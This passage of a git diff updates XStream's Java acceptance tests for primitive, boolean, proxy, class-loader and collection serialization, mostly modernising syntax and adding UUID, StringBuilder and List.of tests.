+import java.util.UUID; public class BasicTypesTest extends AbstractAcceptanceTest { public void testPrimitiveNumbers() { - assertBothWays(new Integer(99), "99"); - assertBothWays(new Integer(-99), "-99"); - assertBothWays(new Integer(0), "0"); - assertBothWays(new Float(-123.45f), "-123.45"); - assertBothWays(new Double(-1234567890.12345), "-1.23456789012345E9"); - assertBothWays(new Long(123456789123456L), "123456789123456"); - assertBothWays(new Short((short)123), "123"); + assertBothWays(Integer.valueOf(99), "99"); + assertBothWays(Integer.valueOf(-99), "-99"); + assertBothWays(Integer.valueOf(0), "0"); + assertBothWays(Float.valueOf(-123.45f), "-123.45"); + assertBothWays(Double.valueOf(-1234567890.12345), "-1.23456789012345E9"); + assertBothWays(Long.valueOf(123456789123456L), "123456789123456"); + assertBothWays(Short.valueOf((short)123), "123"); } public void testDifferentBaseIntegers() { - assertEquals(new Integer(255), xstream.fromXML("0xFF")); - assertEquals(new Integer(255), xstream.fromXML("#FF")); - assertEquals(new Integer(8), xstream.fromXML("010")); - assertEquals(new Long(01777777773427777777773L), xstream.fromXML("01777777773427777777773")); + assertEquals(Integer.valueOf(255), xstream.fromXML("0xFF")); + assertEquals(Integer.valueOf(255), xstream.fromXML("#FF")); + assertEquals(Integer.valueOf(8), xstream.fromXML("010")); + assertEquals(Long.valueOf(01777777773427777777773L), xstream.fromXML("01777777773427777777773")); } public void testNegativeIntegersInHex() { - assertEquals(new Byte((byte)-1), xstream.fromXML("0xFF")); - assertEquals(new Short((short)-1), xstream.fromXML("0xFFFF")); - assertEquals(new Integer(-1), xstream.fromXML("0xFFFFFFFF")); - assertEquals(new Long(-1), xstream.fromXML("0xFFFFFFFFFFFFFFFF")); + assertEquals(Byte.valueOf((byte)-1), xstream.fromXML("0xFF")); + assertEquals(Short.valueOf((short)-1), xstream.fromXML("0xFFFF")); + assertEquals(Integer.valueOf(-1), xstream.fromXML("0xFFFFFFFF")); + assertEquals(Long.valueOf(-1), xstream.fromXML("0xFFFFFFFFFFFFFFFF")); } public void testNegativeIntegersInOctal() { - assertEquals(new Byte((byte)-1), xstream.fromXML("0377")); - assertEquals(new Short((short)-1), xstream.fromXML("0177777")); - assertEquals(new Integer(-1), xstream.fromXML("037777777777")); - assertEquals(new Long(-1), xstream.fromXML("01777777777777777777777")); + assertEquals(Byte.valueOf((byte)-1), xstream.fromXML("0377")); + assertEquals(Short.valueOf((short)-1), xstream.fromXML("0177777")); + assertEquals(Integer.valueOf(-1), xstream.fromXML("037777777777")); + assertEquals(Long.valueOf(-1), xstream.fromXML("01777777777777777777777")); } public void testOtherPrimitives() { - assertBothWays(new Character('z'), "z"); + assertBothWays(Character.valueOf('z'), "z"); assertBothWays(Boolean.TRUE, "true"); assertBothWays(Boolean.FALSE, "false"); - assertBothWays(new Byte((byte)44), "44"); + assertBothWays(Byte.valueOf((byte)44), "44"); } public void testNullCharacter() { - assertEquals(new Character('\0'), xstream.fromXML("")); // pre XStream 1.3 - assertBothWays(new Character('\0'), ""); - } - - public void testNonUnicodeCharacter() { - assertBothWays(new Character('\uffff'), "￿"); + assertEquals(Character.valueOf('\0'), xstream.fromXML("")); // pre XStream 1.3 + assertBothWays(Character.valueOf('\0'), ""); } public void testStrings() { @@ -69,27 +66,22 @@ public void testStrings() { assertBothWays("-0770", "-0770"); } - public void testStringsWithISOControlCharacter() { - assertBothWays("hello\u0004world", "helloworld"); - assertBothWays("hello\u0096world", "hello–world"); - } - public void testStringBuffer() { - StringBuffer buffer = new StringBuffer(); + final StringBuffer buffer = new StringBuffer(); buffer.append("woo"); - String xml = xstream.toXML(buffer); + final String xml = xstream.toXML(buffer); assertEquals(xml, "woo"); - StringBuffer out = (StringBuffer)xstream.fromXML(xml); + final StringBuffer out = xstream.fromXML(xml); assertEquals("woo", out.toString()); } public void testBigInteger() { - BigInteger bigInteger = new BigInteger("1234567890123456"); + final BigInteger bigInteger = new BigInteger("1234567890123456"); assertBothWays(bigInteger, "1234567890123456"); } public void testBigDecimal() { - BigDecimal bigDecimal = new BigDecimal("1234567890123456.987654321"); + final BigDecimal bigDecimal = new BigDecimal("1234567890123456.987654321"); assertBothWays(bigDecimal, "1234567890123456.987654321"); } @@ -98,7 +90,21 @@ public void testNull() { } public void testNumberFormats() { - assertEquals(1.0, ((Double)xstream.fromXML("1")).doubleValue(), 0.001); - assertEquals(1.0f, ((Float)xstream.fromXML("1")).floatValue(), 0.001); + assertEquals(1.0, xstream.fromXML("1").doubleValue(), 0.001); + assertEquals(1.0f, xstream.fromXML("1").floatValue(), 0.001); + } + + public void testUUID() { + final UUID uuid = UUID.randomUUID(); + assertBothWays(uuid, "" + uuid + ""); + } + + public void testStringBuilder() { + final StringBuilder builder = new StringBuilder(); + builder.append("woo"); + final String xml = xstream.toXML(builder); + assertEquals(xml, "woo"); + final StringBuilder out = xstream.fromXML(xml); + assertEquals("woo", out.toString()); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/BeanIDCircularReferenceTest.java b/xstream/src/test/com/thoughtworks/acceptance/BeanIDCircularReferenceTest.java index 2563eea73..cb031677d 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/BeanIDCircularReferenceTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/BeanIDCircularReferenceTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2008, 2010, 2011 XStream Committers. + * Copyright (C) 2008, 2010, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 12. November 2008 by Joerg Schaible */ package com.thoughtworks.acceptance; @@ -22,22 +22,23 @@ public class BeanIDCircularReferenceTest extends AbstractReferenceTest { private ReferenceByFirstnameMarshallingStrategy marshallingStrategy; - private static final class ReferenceByFirstnameMarshallingStrategy extends - ReferenceByIdMarshallingStrategy { - protected TreeMarshaller createMarshallingContext(HierarchicalStreamWriter writer, - ConverterLookup converterLookup, Mapper mapper) { - return new ReferenceByIdMarshaller( - writer, converterLookup, mapper, new ReferenceByIdMarshaller.IDGenerator() { + private static final class ReferenceByFirstnameMarshallingStrategy extends ReferenceByIdMarshallingStrategy { + @Override + protected TreeMarshaller createMarshallingContext(final HierarchicalStreamWriter writer, + final ConverterLookup converterLookup, final Mapper mapper) { + return new ReferenceByIdMarshaller(writer, converterLookup, mapper, + new ReferenceByIdMarshaller.IDGenerator() { int id = 0; - public String next(Object item) { + @Override + public String next(final Object item) { final String id; if (item instanceof Person) { id = ((Person)item).firstname; } else if (item instanceof TreeData) { id = ((TreeData)item).data; } else { - id = String.valueOf(this.id++ ); + id = String.valueOf(this.id++); } return id; } @@ -46,6 +47,7 @@ public String next(Object item) { } // inherits test from superclass + @Override protected void setUp() throws Exception { super.setUp(); marshallingStrategy = new ReferenceByFirstnameMarshallingStrategy(); @@ -53,12 +55,12 @@ protected void setUp() throws Exception { } public void testCircularReferenceXml() { - Person bob = new Person("bob"); - Person jane = new Person("jane"); + final Person bob = new Person("bob"); + final Person jane = new Person("jane"); bob.likes = jane; jane.likes = bob; - String expected = "" + final String expected = "" + "\n" + " bob\n" + " \n" @@ -71,10 +73,10 @@ public void testCircularReferenceXml() { } public void testCircularReferenceToSelfXml() { - Person bob = new Person("bob"); + final Person bob = new Person("bob"); bob.likes = bob; - String expected = "" + final String expected = "" + "\n" + " bob\n" + " \n" @@ -86,12 +88,12 @@ public void testCircularReferenceToSelfXml() { public void testCanAvoidMemberIfUsedAsId() throws Exception { xstream.omitField(Person.class, "firstname"); - Person bob = new Person("bob"); - Person jane = new Person("jane"); + final Person bob = new Person("bob"); + final Person jane = new Person("jane"); bob.likes = jane; jane.likes = bob; - String expected = "" + final String expected = "" + "\n" + " \n" + " \n" @@ -106,13 +108,14 @@ public void testCanAvoidMemberIfUsedAsId() throws Exception { xstream.useAttributeFor("firstname", String.class); xstream.aliasField("id", Person.class, "firstname"); - Person bobAgain = (Person)xstream.fromXML(expected); + final Person bobAgain = xstream.fromXML(expected); assertEquals("bob", bobAgain.firstname); assertEquals("jane", bobAgain.likes.firstname); } + @Override public void testReplacedReference() { - String expectedXml = "" + final String expectedXml = "" + "\n" + " parent\n" + " \n" diff --git a/xstream/src/test/com/thoughtworks/acceptance/BooleanFieldsTest.java b/xstream/src/test/com/thoughtworks/acceptance/BooleanFieldsTest.java index 042abfacd..71d3f2f61 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/BooleanFieldsTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/BooleanFieldsTest.java @@ -1,19 +1,20 @@ /* - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 19. October 2006 by Joerg Schaible */ package com.thoughtworks.acceptance; +import java.util.ArrayList; +import java.util.List; + import com.thoughtworks.xstream.converters.basic.BooleanConverter; -import java.util.List; -import java.util.ArrayList; /** * @author David Blevins @@ -24,12 +25,8 @@ public static class Musican { public String name; public String genre; public boolean alive; - - public Musican() { - // for JDK 1.3 - } - public Musican(String name, String genre, boolean alive) { + public Musican(final String name, final String genre, final boolean alive) { this.name = name; this.genre = genre; this.alive = alive; @@ -37,77 +34,76 @@ public Musican(String name, String genre, boolean alive) { } public void testTrueFalseValues() { - List jazzIcons = new ArrayList(); + final List jazzIcons = new ArrayList<>(); jazzIcons.add(new Musican("Miles Davis", "jazz", false)); jazzIcons.add(new Musican("Wynton Marsalis", "jazz", true)); xstream.alias("musician", Musican.class); - String expectedXml = - "\n" + - " \n" + - " Miles Davis\n" + - " jazz\n" + - " false\n" + - " \n" + - " \n" + - " Wynton Marsalis\n" + - " jazz\n" + - " true\n" + - " \n" + - ""; + final String expectedXml = ""// + + "\n" + + " \n" + + " Miles Davis\n" + + " jazz\n" + + " false\n" + + " \n" + + " \n" + + " Wynton Marsalis\n" + + " jazz\n" + + " true\n" + + " \n" + + ""; assertBothWays(jazzIcons, expectedXml); } public void testYesNoValues() { - List jazzIcons = new ArrayList(); + final List jazzIcons = new ArrayList<>(); jazzIcons.add(new Musican("Miles Davis", "jazz", false)); jazzIcons.add(new Musican("Wynton Marsalis", "jazz", true)); xstream.alias("musician", Musican.class); xstream.registerConverter(BooleanConverter.YES_NO); - String expectedXml = - "\n" + - " \n" + - " Miles Davis\n" + - " jazz\n" + - " no\n" + - " \n" + - " \n" + - " Wynton Marsalis\n" + - " jazz\n" + - " yes\n" + - " \n" + - ""; + final String expectedXml = ""// + + "\n" + + " \n" + + " Miles Davis\n" + + " jazz\n" + + " no\n" + + " \n" + + " \n" + + " Wynton Marsalis\n" + + " jazz\n" + + " yes\n" + + " \n" + + ""; assertBothWays(jazzIcons, expectedXml); } public void testBinaryValues() { - List jazzIcons = new ArrayList(); + final List jazzIcons = new ArrayList<>(); jazzIcons.add(new Musican("Miles Davis", "jazz", false)); jazzIcons.add(new Musican("Wynton Marsalis", "jazz", true)); xstream.alias("musician", Musican.class); xstream.registerConverter(BooleanConverter.BINARY); - String expectedXml = - "\n" + - " \n" + - " Miles Davis\n" + - " jazz\n" + - " 0\n" + - " \n" + - " \n" + - " Wynton Marsalis\n" + - " jazz\n" + - " 1\n" + - " \n" + - ""; + final String expectedXml = ""// + + "\n" + + " \n" + + " Miles Davis\n" + + " jazz\n" + + " 0\n" + + " \n" + + " \n" + + " Wynton Marsalis\n" + + " jazz\n" + + " 1\n" + + " \n" + + ""; assertBothWays(jazzIcons, expectedXml); } - } diff --git a/xstream/src/test/com/thoughtworks/acceptance/BufferedImagesTest.java b/xstream/src/test/com/thoughtworks/acceptance/BufferedImagesTest.java index ae0d27652..472662954 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/BufferedImagesTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/BufferedImagesTest.java @@ -1,19 +1,15 @@ /* - * Copyright (C) 2008, 2017 XStream Committers. + * Copyright (C) 2008, 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 28. October 2008 by Joerg Schaible */ package com.thoughtworks.acceptance; -import junit.framework.TestSuite; - -import javax.imageio.ImageIO; - import java.awt.Color; import java.awt.Graphics2D; import java.awt.image.BufferedImage; @@ -21,21 +17,23 @@ import java.io.ByteArrayOutputStream; import java.io.IOException; +import javax.imageio.ImageIO; + +import junit.framework.TestSuite; + /** - * Tests with buffered images. - * - * Note, these tests are deactivated by default. They normally work at first sight, but they are highly dangerous, - * since some of the serialized objects contain member variables that reference native memory. Typical result is - * a JVM crash somewhat later because of double freed memory. - * + * Tests with buffered images. Note, these tests are deactivated by default. They normally work at first sight, but they + * are highly dangerous, since some of the serialized objects contain member variables that reference native memory. + * Typical result is a JVM crash somewhat later because of double freed memory. + * * @author Jörg Schaible */ public class BufferedImagesTest extends AbstractAcceptanceTest { - + public static TestSuite suite() { final TestSuite suite = new TestSuite("BufferedImagesSuite"); - //suite.addTestSuite(BufferedImagesTest.class); + // suite.addTestSuite(BufferedImagesTest.class); return suite; } @@ -54,7 +52,7 @@ public void testInBWCanBeMarshalled() throws IOException { final String xml = xstream.toXML(image); final ByteArrayOutputStream baosSerialized = new ByteArrayOutputStream(); - ImageIO.write((RenderedImage)xstream.fromXML(xml), "tiff", baosSerialized); + ImageIO.write(xstream.fromXML(xml), "tiff", baosSerialized); assertArrayEquals(baosOriginal.toByteArray(), baosSerialized.toByteArray()); } @@ -74,7 +72,7 @@ public void testInRGBACanBeMarshalled() throws IOException { final String xml = xstream.toXML(image); final ByteArrayOutputStream baosSerialized = new ByteArrayOutputStream(); - ImageIO.write((RenderedImage)xstream.fromXML(xml), "png", baosSerialized); + ImageIO.write(xstream.fromXML(xml), "png", baosSerialized); assertArrayEquals(baosOriginal.toByteArray(), baosSerialized.toByteArray()); } diff --git a/xstream/src/test/com/thoughtworks/acceptance/CglibCompatibilityTest.java b/xstream/src/test/com/thoughtworks/acceptance/CglibCompatibilityTest.java index 9ec76770e..6d2cb9101 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/CglibCompatibilityTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/CglibCompatibilityTest.java @@ -1,15 +1,23 @@ /* - * Copyright (C) 2006, 2007, 2008, 2010, 2013, 2014, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2010, 2013, 2014, 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 08. April 2006 by Joerg Schaible */ package com.thoughtworks.acceptance; +import java.io.Serializable; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.net.MalformedURLException; +import java.net.URL; +import java.util.HashMap; +import java.util.Map; + import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.converters.ConversionException; import com.thoughtworks.xstream.converters.reflection.CGLIBEnhancedConverter; @@ -27,81 +35,81 @@ import net.sf.cglib.proxy.MethodProxy; import net.sf.cglib.proxy.NoOp; -import java.io.Serializable; -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.net.MalformedURLException; -import java.net.URL; -import java.util.HashMap; -import java.util.Map; - /** * @author Jörg Schaible */ public class CglibCompatibilityTest extends AbstractAcceptanceTest { + @Override protected XStream createXStream() { - XStream xstream = new XStream(createDriver()) { - protected MapperWrapper wrapMapper(MapperWrapper next) { + final XStream xstream = new XStream(createDriver()) { + @Override + protected MapperWrapper wrapMapper(final MapperWrapper next) { return new CGLIBMapper(next); } }; setupSecurity(xstream); xstream.addPermission(CGLIBProxyTypePermission.PROXIES); - xstream.registerConverter(new CGLIBEnhancedConverter(xstream.getMapper(), xstream - .getReflectionProvider(), xstream.getClassLoaderReference())); + xstream.registerConverter(new CGLIBEnhancedConverter(xstream.getMapper(), xstream.getReflectionProvider(), + xstream.getClassLoaderReference())); return xstream; } - public static class DelegatingHandler implements InvocationHandler, Serializable { - private Object delegate; + public static class DelegatingHandler implements InvocationHandler, Serializable { + private static final long serialVersionUID = 200604L; + private final T delegate; - public DelegatingHandler(Object delegate) { + public DelegatingHandler(final T delegate) { this.delegate = delegate; } - public Object invoke(Object obj, Method method, Object[] args) throws Throwable { + @Override + public Object invoke(final Object obj, final Method method, final Object[] args) throws Throwable { return method.invoke(delegate, args); } } - public static class DelegatingInterceptor implements MethodInterceptor, Serializable, - Runnable { - private Object delegate; + public static class DelegatingInterceptor implements MethodInterceptor, Serializable, Runnable { + private static final long serialVersionUID = 200812L; + private final T delegate; - public DelegatingInterceptor(Object delegate) { + public DelegatingInterceptor(final T delegate) { this.delegate = delegate; } - public Object intercept(Object obj, Method method, Object[] args, MethodProxy proxy) - throws Throwable { + @Override + public Object intercept(final Object obj, final Method method, final Object[] args, final MethodProxy proxy) + throws Throwable { return method.invoke(delegate, args); } + @Override public void run() { } } - public static class DelegatingDispatcher implements Dispatcher, Serializable { - private Object delegate; + public static class DelegatingDispatcher implements Dispatcher, Serializable { + private static final long serialVersionUID = 200812L; + private final T delegate; - public DelegatingDispatcher(Object delegate) { + public DelegatingDispatcher(final T delegate) { this.delegate = delegate; } + @Override public Object loadObject() throws Exception { return delegate; } } - public void testSupportsClassBasedProxiesWithFactory() - throws NullPointerException, MalformedURLException { + public void testSupportsClassBasedProxiesWithFactory() throws NullPointerException, MalformedURLException { final Enhancer enhancer = new Enhancer(); enhancer.setSuperclass(HashMap.class); - enhancer.setCallback(new DelegatingHandler(new HashMap())); + enhancer.setCallback(new DelegatingHandler<>(new HashMap())); enhancer.setUseFactory(true); // true by default - final Map orig = (Map)enhancer.create(); + @SuppressWarnings("unchecked") + final Map orig = (Map)enhancer.create(); final URL url = new URL("http://xstream.codehaus.org"); orig.put("URL", url); final String xml = "" @@ -119,17 +127,17 @@ public void testSupportsClassBasedProxiesWithFactory() + " \n" + ""; - final Map serialized = (Map)assertBothWays(orig, xml); + final Map serialized = assertBothWays(orig, xml); assertEquals(url, serialized.get("URL")); } - public void testSupportsClassBasedProxiesWithoutFactory() - throws NullPointerException, MalformedURLException { + public void testSupportsClassBasedProxiesWithoutFactory() throws NullPointerException, MalformedURLException { final Enhancer enhancer = new Enhancer(); enhancer.setSuperclass(HashMap.class); - enhancer.setCallback(new DelegatingHandler(new HashMap())); + enhancer.setCallback(new DelegatingHandler<>(new HashMap())); enhancer.setUseFactory(false); - final Map orig = (Map)enhancer.create(); + @SuppressWarnings("unchecked") + final Map orig = (Map)enhancer.create(); final URL url = new URL("http://xstream.codehaus.org"); orig.put("URL", url); final String xml = "" @@ -147,17 +155,16 @@ public void testSupportsClassBasedProxiesWithoutFactory() + " \n" + ""; - final Map serialized = (Map)assertBothWays(orig, xml); + final Map serialized = assertBothWays(orig, xml); assertEquals(url, serialized.get("URL")); } - public void testSupportForClassBasedProxyWithAdditionalInterface() - throws NullPointerException { + public void testSupportForClassBasedProxyWithAdditionalInterface() throws NullPointerException { final Enhancer enhancer = new Enhancer(); enhancer.setSuperclass(HashMap.class); enhancer.setCallback(NoOp.INSTANCE); enhancer.setInterfaces(new Class[]{Runnable.class}); - final Map orig = (Map)enhancer.create(); + final Map orig = (Map)enhancer.create(); final String xml = "" + "\n" + " java.util.HashMap\n" @@ -178,7 +185,7 @@ public void testSupportsProxiesWithMultipleInterfaces() throws NullPointerExcept final Enhancer enhancer = new Enhancer(); enhancer.setCallback(NoOp.INSTANCE); enhancer.setInterfaces(new Class[]{Map.class, Runnable.class}); - final Map orig = (Map)enhancer.create(); + final Map orig = (Map)enhancer.create(); final String xml = "" + "\n" + " java.lang.Object\n" @@ -195,17 +202,17 @@ public void testSupportsProxiesWithMultipleInterfaces() throws NullPointerExcept assertTrue(serialized instanceof Runnable); } - public void testSupportProxiesUsingFactoryWithMultipleCallbacks() - throws NullPointerException { + public void testSupportProxiesUsingFactoryWithMultipleCallbacks() throws NullPointerException { final Enhancer enhancer = new Enhancer(); enhancer.setCallbacks(new Callback[]{ - new DelegatingInterceptor(null), new DelegatingHandler(null), - new DelegatingDispatcher(null), NoOp.INSTANCE}); + new DelegatingInterceptor<>(null), new DelegatingHandler<>(null), new DelegatingDispatcher<>(null), + NoOp.INSTANCE}); enhancer.setCallbackFilter(new CallbackFilter() { int i = 1; - public int accept(Method method) { + @Override + public int accept(final Method method) { if (method.getDeclaringClass() == Runnable.class) { return 0; } @@ -216,9 +223,9 @@ public int accept(Method method) { enhancer.setUseFactory(true); final Runnable orig = (Runnable)enhancer.create(); final String xml = xstream.toXML(orig); - final Factory deserialized = (Factory)xstream.fromXML(xml); + final Factory deserialized = xstream.fromXML(xml); assertTrue("Not a Runnable anymore", deserialized instanceof Runnable); - Callback[] callbacks = deserialized.getCallbacks(); + final Callback[] callbacks = deserialized.getCallbacks(); assertEquals(4, callbacks.length); assertTrue(callbacks[0] instanceof DelegatingInterceptor); assertTrue(callbacks[1] instanceof DelegatingHandler); @@ -226,17 +233,17 @@ public int accept(Method method) { assertTrue(callbacks[3] instanceof NoOp); } - public void testThrowsExceptionForProxiesNotUsingFactoryWithMultipleCallbacks() - throws NullPointerException { + public void testThrowsExceptionForProxiesNotUsingFactoryWithMultipleCallbacks() throws NullPointerException { final Enhancer enhancer = new Enhancer(); enhancer.setCallbacks(new Callback[]{ - new DelegatingInterceptor(null), new DelegatingHandler(null), - new DelegatingDispatcher(null), NoOp.INSTANCE}); + new DelegatingInterceptor<>(null), new DelegatingHandler<>(null), new DelegatingDispatcher<>(null), + NoOp.INSTANCE}); enhancer.setCallbackFilter(new CallbackFilter() { int i = 1; - public int accept(Method method) { + @Override + public int accept(final Method method) { if (method.getDeclaringClass() == Runnable.class) { return 0; } @@ -250,7 +257,7 @@ public int accept(Method method) { xstream.toXML(orig); fail("Thrown " + ConversionException.class.getName() + " expected"); } catch (final ConversionException e) { - + } } @@ -258,7 +265,7 @@ public void testSupportProxiesWithMultipleCallbackSetToNull() throws NullPointer final Enhancer enhancer = new Enhancer(); enhancer.setSuperclass(HashMap.class); enhancer.setCallback(NoOp.INSTANCE); - final HashMap orig = (HashMap)enhancer.create(); + final HashMap orig = (HashMap)enhancer.create(); ((Factory)orig).setCallback(0, null); final String xml = "" + "\n" @@ -272,7 +279,7 @@ public void testSupportProxiesWithMultipleCallbackSetToNull() throws NullPointer } public void testSupportsSerialVersionUID() - throws NullPointerException, NoSuchFieldException, IllegalAccessException { + throws NullPointerException, NoSuchFieldException, IllegalAccessException { final Enhancer enhancer = new Enhancer(); enhancer.setCallback(NoOp.INSTANCE); enhancer.setInterfaces(new Class[]{Runnable.class}); @@ -297,8 +304,9 @@ public void testSupportsSerialVersionUID() public static class InterceptingHandler implements MethodInterceptor { - public Object intercept(Object obj, Method method, Object[] args, MethodProxy proxy) - throws Throwable { + @Override + public Object intercept(final Object obj, final Method method, final Object[] args, final MethodProxy proxy) + throws Throwable { return proxy.invokeSuper(obj, args); } } @@ -306,13 +314,13 @@ public Object intercept(Object obj, Method method, Object[] args, MethodProxy pr private final static String THRESHOLD_PARAM = "$THRESHOLD$"; private final static String CAPACITY_PARAM = "$CAPACITY$"; - public void testSupportsInterceptedClassBasedProxies() - throws NullPointerException, MalformedURLException { + public void testSupportsInterceptedClassBasedProxies() throws NullPointerException, MalformedURLException { final Enhancer enhancer = new Enhancer(); enhancer.setSuperclass(HashMap.class); enhancer.setCallback(new InterceptingHandler()); enhancer.setUseFactory(true); - final Map orig = (Map)enhancer.create(); + @SuppressWarnings("unchecked") + final Map orig = (Map)enhancer.create(); orig.put("URL", new URL("http://xstream.codehaus.org")); final StringBuffer xml = new StringBuffer("" + "\n" @@ -340,22 +348,22 @@ public void testSupportsInterceptedClassBasedProxies() idx = xml.toString().indexOf(CAPACITY_PARAM); xml.replace(idx, idx + CAPACITY_PARAM.length(), "16"); - Map serialized = (Map)assertBothWays(orig, xml.toString()); + final Map serialized = assertBothWays(orig, xml.toString()); assertEquals(orig.toString(), serialized.toString()); } public static class ClassWithProxyMember { Runnable runnable; - Map map; + Map map; }; public void testSupportsProxiesAsFieldMember() throws NullPointerException { - ClassWithProxyMember expected = new ClassWithProxyMember(); + final ClassWithProxyMember expected = new ClassWithProxyMember(); xstream.alias("with-proxy", ClassWithProxyMember.class); final Enhancer enhancer = new Enhancer(); enhancer.setCallback(NoOp.INSTANCE); enhancer.setInterfaces(new Class[]{Map.class, Runnable.class}); - final Map orig = (Map)enhancer.create(); + final Map orig = (Map)enhancer.create(); expected.runnable = (Runnable)orig; expected.map = orig; final String xml = "" @@ -379,8 +387,9 @@ public void testSupportsProxiesAsFieldMember() throws NullPointerException { public void testProxyTypeCanBeAliased() throws MalformedURLException { final Enhancer enhancer = new Enhancer(); enhancer.setSuperclass(HashMap.class); - enhancer.setCallback(new DelegatingHandler(new HashMap())); - final Map orig = (Map)enhancer.create(); + enhancer.setCallback(new DelegatingHandler<>(new HashMap())); + @SuppressWarnings("unchecked") + final Map orig = (Map)enhancer.create(); orig.put("URL", new URL("http://xstream.codehaus.org")); xstream.aliasType("cglib", Map.class); final String expected = "" diff --git a/xstream/src/test/com/thoughtworks/acceptance/ClassLoaderTest.java b/xstream/src/test/com/thoughtworks/acceptance/ClassLoaderTest.java index 18af30365..b67b6cc5e 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/ClassLoaderTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/ClassLoaderTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2013, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2013, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 07. March 2005 by Joe Walnes */ package com.thoughtworks.acceptance; @@ -22,8 +22,8 @@ public class ClassLoaderTest extends AbstractAcceptanceTest { public void testAllowsClassLoaderToBeOverriden() throws MalformedURLException { - String name = "com.thoughtworks.proxy.kit.SimpleReference"; - String xml = ""; + final String name = "com.thoughtworks.proxy.kit.SimpleReference"; + final String xml = ""; xstream.allowTypes(name); try { xstream.fromXML(xml); @@ -31,25 +31,26 @@ public void testAllowsClassLoaderToBeOverriden() throws MalformedURLException { } catch (final CannotResolveClassException e) { assertEquals(name, e.getMessage()); } - - File proxyToys = new File("target/lib/proxytoys-0.2.1.jar"); - ClassLoader classLoader = new URLClassLoader( - new URL[]{proxyToys.toURI().toURL()}, getClass().getClassLoader()); + + final File proxyToys = new File("target/lib/proxytoys-0.2.1.jar"); + @SuppressWarnings("resource") + final ClassLoader classLoader = new URLClassLoader(new URL[]{proxyToys.toURI().toURL()}, getClass() + .getClassLoader()); // will not work, since class has already been cached xstream.setClassLoader(classLoader); - + try { xstream.fromXML(xml); fail("Thrown " + CannotResolveClassException.class.getName() + " expected"); } catch (final CannotResolveClassException e) { assertEquals(name, e.getMessage()); } - + xstream = createXStream(); xstream.setClassLoader(classLoader); xstream.allowTypes(name); assertEquals(name, xstream.fromXML(xml).getClass().getName()); - + xstream = createXStream(); xstream.allowTypes(name); try { diff --git a/xstream/src/test/com/thoughtworks/acceptance/Collections09Test.java b/xstream/src/test/com/thoughtworks/acceptance/Collections09Test.java new file mode 100644 index 000000000..9aa4ca111 --- /dev/null +++ b/xstream/src/test/com/thoughtworks/acceptance/Collections09Test.java @@ -0,0 +1,37 @@ +/* + * Copyright (C) 2021 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 15. May 2021 by Joerg Schaible + */ +package com.thoughtworks.acceptance; + +import java.util.List; + +import com.thoughtworks.xstream.core.JVM; + + +public class Collections09Test extends AbstractAcceptanceTest { + + public void testListFromListOf() { + xstream.allowTypes("java.util.CollSer"); + + final List list = List.of("hi", "bye"); + + assertBothWays(list, String.format(""// + + "\n" + + " \n" + + " \n" + + " 1\n" + + " \n" + + " 2\n" + + " hi\n" + + " bye\n" + + " \n" + + "", JVM.isVersion(11) ? 12 : 2)); + } +} diff --git a/xstream/src/test/com/thoughtworks/acceptance/CollectionsTest.java b/xstream/src/test/com/thoughtworks/acceptance/CollectionsTest.java index 490edb222..339a0ae8b 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/CollectionsTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/CollectionsTest.java @@ -1,21 +1,16 @@ /* * Copyright (C) 2003, 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2017, 2018, 2019, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 01. October 2003 by Joe Walnes */ package com.thoughtworks.acceptance; -import com.thoughtworks.acceptance.objects.Hardware; -import com.thoughtworks.acceptance.objects.SampleLists; -import com.thoughtworks.acceptance.objects.Software; -import com.thoughtworks.xstream.XStream; - import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; @@ -30,10 +25,16 @@ import java.util.Set; import java.util.Vector; +import com.thoughtworks.acceptance.objects.Hardware; +import com.thoughtworks.acceptance.objects.SampleLists; +import com.thoughtworks.acceptance.objects.Software; +import com.thoughtworks.xstream.XStream; + + public class CollectionsTest extends AbstractAcceptanceTest { public void testListsCanContainCustomObjects() { - SampleLists lists = new SampleLists(); + final SampleLists lists = new SampleLists<>(); lists.good.add(new Software("apache", "geronimo")); lists.good.add(new Software("caucho", "resin")); lists.good.add(new Hardware("risc", "strong-arm")); @@ -43,143 +44,143 @@ public void testListsCanContainCustomObjects() { 